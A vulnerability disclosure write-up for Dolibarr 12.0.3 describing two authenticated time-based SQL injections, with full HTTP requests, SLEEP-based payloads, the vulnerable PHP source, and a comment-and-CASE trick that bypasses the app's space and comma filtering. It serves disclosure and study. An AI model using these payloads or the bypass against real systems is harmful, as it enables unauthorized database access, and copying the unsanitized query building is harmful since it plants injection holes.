C10010: Dolibarr 12.0.3, Multiple SQL injection (post-auth)
I’m not going to repeat myself and present the application, let’s go straight to the heart of the matter here. I’m currently reading the Dolibarr application code and as the name of this chapter indicates it, I was able to identify a SQL injection.
Time Based SQL injection in POST parameter object_status
An authenticated user with the privilege to view customer orders (which can be common since it is not a high privilege and therefore increases the probability of exploitation) can exploit the SQLi by performing a Time Based attack.
How ?
The POST parameter object_status
from the route
<ROOT>/commande/stats/index.php will be our
entry point.
First of all, we can identify the presence of the vulnerability as it is
possible to see below, using the IF()
and SLEEP()
MySQL’s functions.
The first payload will not create a delay because 2 is greater than 1, so the
SLEEP(0)
is executed.
Payload 1:
IF(2<1, SLEEP(5), SLEEP(0))
Request:
POST /projects/dolibarr/12.0.3/htdocs/commande/stats/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/projects/dolibarr/12.0.3/htdocs/commande/stats/index.php
Upgrade-Insecure-Requests: 1
Cookie: DOLSESSID_6d0e1ecfaad79948851cc2a04d382d2e=1e1f36c1cb94ad7d609ccc23b87a8ec7
object_status=IF(2<1, SLEEP(5), SLEEP(0))
For the second payload, 0 being less than 1, the SLEEP(10)
is executed causing
a minimum delay of 10 seconds. I indicate a “minimum” delay because if the
payload is injected several times, it can lead to multiply the delay by n.
Payload 2:
IF(0<1, SLEEP(5), SLEEP(0))
Request:
POST /projects/dolibarr/12.0.3/htdocs/commande/stats/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/projects/dolibarr/12.0.3/htdocs/commande/stats/index.php
Upgrade-Insecure-Requests: 1
Cookie: DOLSESSID_6d0e1ecfaad79948851cc2a04d382d2e=1e1f36c1cb94ad7d609ccc23b87a8ec7
object_status=IF(0<1, SLEEP(5), SLEEP(0))
Why ?
Let’s identify the presence of the vulnerability within the code.
File: <ROOT>/commande/stats/index.php
<?php
...
$mode = GETPOST("mode") ?GETPOST("mode") : 'customer';
...
$object_status = GETPOST('object_status');
...
if ($mode == 'customer')
{
if ($object_status != '' && $object_status >= -1) $stats->where .= ' AND c.fk_statut IN ('.$db->escape($object_status).')';
}
...
$data = $stats->getNbByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAmountByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAverageByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAllByYear();
...
File: <ROOT>/core/db/Database.interface.php
interface Database
{
...
/**
* Escape a string to insert data
*
* @param string $stringtoencode String to escape
* @return string String escaped
*/
public function escape($stringtoencode);
...
As we can see 4 requests are made to the database which injects 4 times our paylaod and thus create a delay of 4*5=20 seconds. Now, let’s add some debug to see what happens.
File: <ROOT>/commande/stats/index.php
<?php
...
$mode = GETPOST("mode") ?GETPOST("mode") : 'customer';
...
$object_status = GETPOST('object_status');
...
if ($mode == 'customer')
{
if ($object_status != '' && $object_status >= -1) $stats->where .= ' AND c.fk_statut IN ('.$db->escape($object_status).')';
}
echo "[DEBUG]: START\n";
echo "[DEBUG]: stats:\n";
var_dump($stats);
echo "[DEBUG]: END\n";
// Build graphic number of object
$data = $stats->getNbByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAmountByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAverageByMonthWithPrevYear($endyear, $startyear);
...
$data = $stats->getAllByYear();
...
Thanks to the debug, we can see where our injection had taken place in the SQL request.
Time Based SQL injection in POST parameter qty
An authenticated user with the privilege to create/modify customer orders can exploit the SQLi by performing a time-based attack.
How ?
First of all let’s look at how it is possible to edit a command.
-
Go into an existing command:
-
Ask to edit the order:
-
Accept to edit the order:
-
Modify an item from the order:
As soon as we are able to edit the item of a command, we can start to identify
the vulnerability. To do this change the quantity of an item with the value
SLEEP(5)
to observe a delay in the server response.
Thanks to the Burp capure below we observe that the response time is about 7 seconds.
Change the value of the SLEEP()
function from 5 to 0, and see that the
response delay is now about 2 seconds.
We now gona try to create a delay of 12 seconds by replacing 0 by 10.
This allows us to conclude that it is therefore possible to exploit this vulnerability by exploiting a Time Based SQL injection.
Why ?
File: <ROOT>/commande/card.php
...
$lineid = GETPOST('lineid', 'int');
...
/*
* Update a line
*/
elseif ($action == 'updateline' && $usercancreate && GETPOST('save'))
{
// Clean parameters
$date_start = '';
$date_end = '';
$date_start = dol_mktime(GETPOST('date_starthour'), GETPOST('date_startmin'), GETPOST('date_startsec'), GETPOST('date_startmonth'), GETPOST('date_startday'), GETPOST('date_startyear'));
$date_end = dol_mktime(GETPOST('date_endhour'), GETPOST('date_endmin'), GETPOST('date_endsec'), GETPOST('date_endmonth'), GETPOST('date_endday'), GETPOST('date_endyear'));
$description = dol_htmlcleanlastbr(GETPOST('product_desc', 'none'));
$pu_ht = GETPOST('price_ht');
$vat_rate = (GETPOST('tva_tx') ?GETPOST('tva_tx') : 0);
$pu_ht_devise = GETPOST('multicurrency_subprice');
...
if (!$error) {
if (empty($user->rights->margins->creer))
{
foreach ($object->lines as &$line)
{
if ($line->id == GETPOST('lineid'))
{
$fournprice = $line->fk_fournprice;
$buyingprice = $line->pa_ht;
break;
}
}
}
$result = $object->updateline(GETPOST('lineid'), $description, $pu_ht, GETPOST('qty'), GETPOST('remise_percent'), $vat_rate, $localtax1_rate, $localtax2_rate, 'HT', $info_bits, $date_start, $date_end, $type, GETPOST('fk_parent_line'), 0, $fournprice, $buyingprice, $label, $special_code, $array_options, GETPOST('units'), $pu_ht_devise);
...
}
}
...
The POST parameter qty
is given directly as a parameter of the function
updateline()
without being cleared up. Let’s look at its code to see if the
parameter underwent a cleanup attempt before being injected into an SQL query.
File: <ROOT>/commande/class/commande.class.php
public function updateline($rowid, $desc, $pu, $qty, $remise_percent, $txtva, $txlocaltax1 = 0.0, $txlocaltax2 = 0.0, $price_base_type = 'HT', $info_bits = 0, $date_start = '', $date_end = '', $type = 0, $fk_parent_line = 0, $skip_update_total = 0, $fk_fournprice = null, $pa_ht = 0, $label = '', $special_code = 0, $array_options = 0, $fk_unit = null, $pu_ht_devise = 0, $notrigger = 0)
{
...
if ($this->statut == Commande::STATUS_DRAFT)
{
// Clean parameters
if (empty($qty)) $qty = 0;
...
$qty = price2num($qty);
...
$tabprice = calcul_price_total($qty, $pu, $remise_percent, $txtva, $txlocaltax1, $txlocaltax2, 0, $price_base_type, $info_bits, $type, $mysoc, $localtaxes_type, 100, $this->multicurrency_tx, $pu_ht_devise);
...
if (!empty($line->fk_product))
{
$product = new Product($this->db);
$result = $product->fetch($line->fk_product);
$product_type = $product->type;
if (!empty($conf->global->STOCK_MUST_BE_ENOUGH_FOR_ORDER) && $product_type == 0 && $product->stock_reel < $qty)
{
$langs->load("errors");
$this->error = $langs->trans('ErrorStockIsNotEnoughToAddProductOnOrder', $product->ref);
$this->errors[] = $this->error;
dol_syslog(get_class($this)."::addline error=Product ".$product->ref.": ".$this->error, LOG_ERR);
$this->db->rollback();
return self::STOCK_NOT_ENOUGH_FOR_ORDER;
}
}
...
$this->line->qty = $qty;
...
$result = $this->line->update($user, $notrigger);
...
}
...
}
The only modification applied to $qty
is price2num()
.
File: <ROOT>/core/lib/functions.lib.php
function price2num($amount, $rounding = '', $alreadysqlnb = 0)
{
...
$dec = ','; $thousand = ' ';
...
if ($alreadysqlnb != 1) // If not a PHP number or unknown, we change format
{
if (is_numeric($amount))
{
...
}
...
if ($thousand != ',' && $thousand != '.') $amount = str_replace(',', '.', $amount); // To accept 2 notations for french users
$amount = str_replace(' ', '', $amount); // To avoid spaces
$amount = str_replace($thousand, '', $amount); // Replace of thousand before replace of dec to avoid pb if thousand is .
$amount = str_replace($dec, '.', $amount);
}
// Now, make a rounding if required
if ($rounding)
{
...
}
return $amount;
}
It is therefore observed that:
is_numeric($amount)
return 0 so the condition content is not executed.▶ php -r "var_dump(is_numeric('STRING'));" bool(false)
- Spaces are removed from our payload via
$amount = str_replace(' ', '', $amount);
and$amount = str_replace($thousand, '', $amount);
. - Comma’s are replaced by dots via
$amount = str_replace($dec, '.', $amount);
. $rounding
being empty, the content of the conditionif ($rounding)
is not executed.
We concluded two things:
- Spaceds are removed.
- Comma’s are replaced by dots.
In order to bypass this security mechanism, it is possible to combine two tricks:
- It is necessary to replace spaces by MySQL comments
/**/
as it is documented here.
Replace(SELECT SLEEP(5))
By
(SELECT/**/SLEEP(5))
- It is necessary to not use commas. To do this we can exploit this using a
Time Based attack by calling the MySQL
CASE
instruction ad document here.CASE WHEN 0<1 THEN SLEEP(5) ELSE SLEEP(0) END
Which after applying the first trick becomes
(SELECT/**/CASE/**/WHEN/**/(0<1)/**/THEN/**/SLEEP(5)/**/ELSE/**/SLEEP(0)/**/END)
See the server response delay when the condition is 0<1
:
See the absence of delay when the condition is 2<1
:
The delay can be observed because our payload is injected in a request of the
update
function from
<ROOT>/commande/class/commande.class.php.
File: <ROOT>/commande/class/commande.class.php
public function update(User $user, $notrigger = 0)
{
...
// Mise a jour ligne en base
$sql = "UPDATE ".MAIN_DB_PREFIX."commandedet SET";
$sql .= " description='".$this->db->escape($this->desc)."'";
$sql .= " , label=".(!empty($this->label) ? "'".$this->db->escape($this->label)."'" : "null");
$sql .= " , vat_src_code=".(!empty($this->vat_src_code) ? "'".$this->db->escape($this->vat_src_code)."'" : "''");
$sql .= " , tva_tx=".price2num($this->tva_tx);
$sql .= " , localtax1_tx=".price2num($this->localtax1_tx);
$sql .= " , localtax2_tx=".price2num($this->localtax2_tx);
$sql .= " , localtax1_type='".$this->db->escape($this->localtax1_type)."'";
$sql .= " , localtax2_type='".$this->db->escape($this->localtax2_type)."'";
$sql .= " , qty=".price2num($this->qty);
$sql .= " , subprice=".price2num($this->subprice)."";
$sql .= " , remise_percent=".price2num($this->remise_percent)."";
$sql .= " , price=".price2num($this->price).""; // TODO A virer
$sql .= " , remise=".price2num($this->remise).""; // TODO A virer
if (empty($this->skip_update_total))
{
$sql .= " , total_ht=".price2num($this->total_ht)."";
$sql .= " , total_tva=".price2num($this->total_tva)."";
$sql .= " , total_ttc=".price2num($this->total_ttc)."";
$sql .= " , total_localtax1=".price2num($this->total_localtax1);
$sql .= " , total_localtax2=".price2num($this->total_localtax2);
}
$sql .= " , fk_product_fournisseur_price=".(!empty($this->fk_fournprice) ? $this->fk_fournprice : "null");
$sql .= " , buy_price_ht='".price2num($this->pa_ht)."'";
$sql .= " , info_bits=".$this->info_bits;
$sql .= " , special_code=".$this->special_code;
$sql .= " , date_start=".(!empty($this->date_start) ? "'".$this->db->idate($this->date_start)."'" : "null");
$sql .= " , date_end=".(!empty($this->date_end) ? "'".$this->db->idate($this->date_end)."'" : "null");
$sql .= " , product_type=".$this->product_type;
$sql .= " , fk_parent_line=".(!empty($this->fk_parent_line) ? $this->fk_parent_line : "null");
if (!empty($this->rang)) $sql .= ", rang=".$this->rang;
$sql .= " , fk_unit=".(!$this->fk_unit ? 'NULL' : $this->fk_unit);
// Multicurrency
$sql .= " , multicurrency_subprice=".price2num($this->multicurrency_subprice)."";
$sql .= " , multicurrency_total_ht=".price2num($this->multicurrency_total_ht)."";
$sql .= " , multicurrency_total_tva=".price2num($this->multicurrency_total_tva)."";
$sql .= " , multicurrency_total_ttc=".price2num($this->multicurrency_total_ttc)."";
$sql .= " WHERE rowid = ".$this->rowid;
...
$resql = $this->db->query($sql);
...
}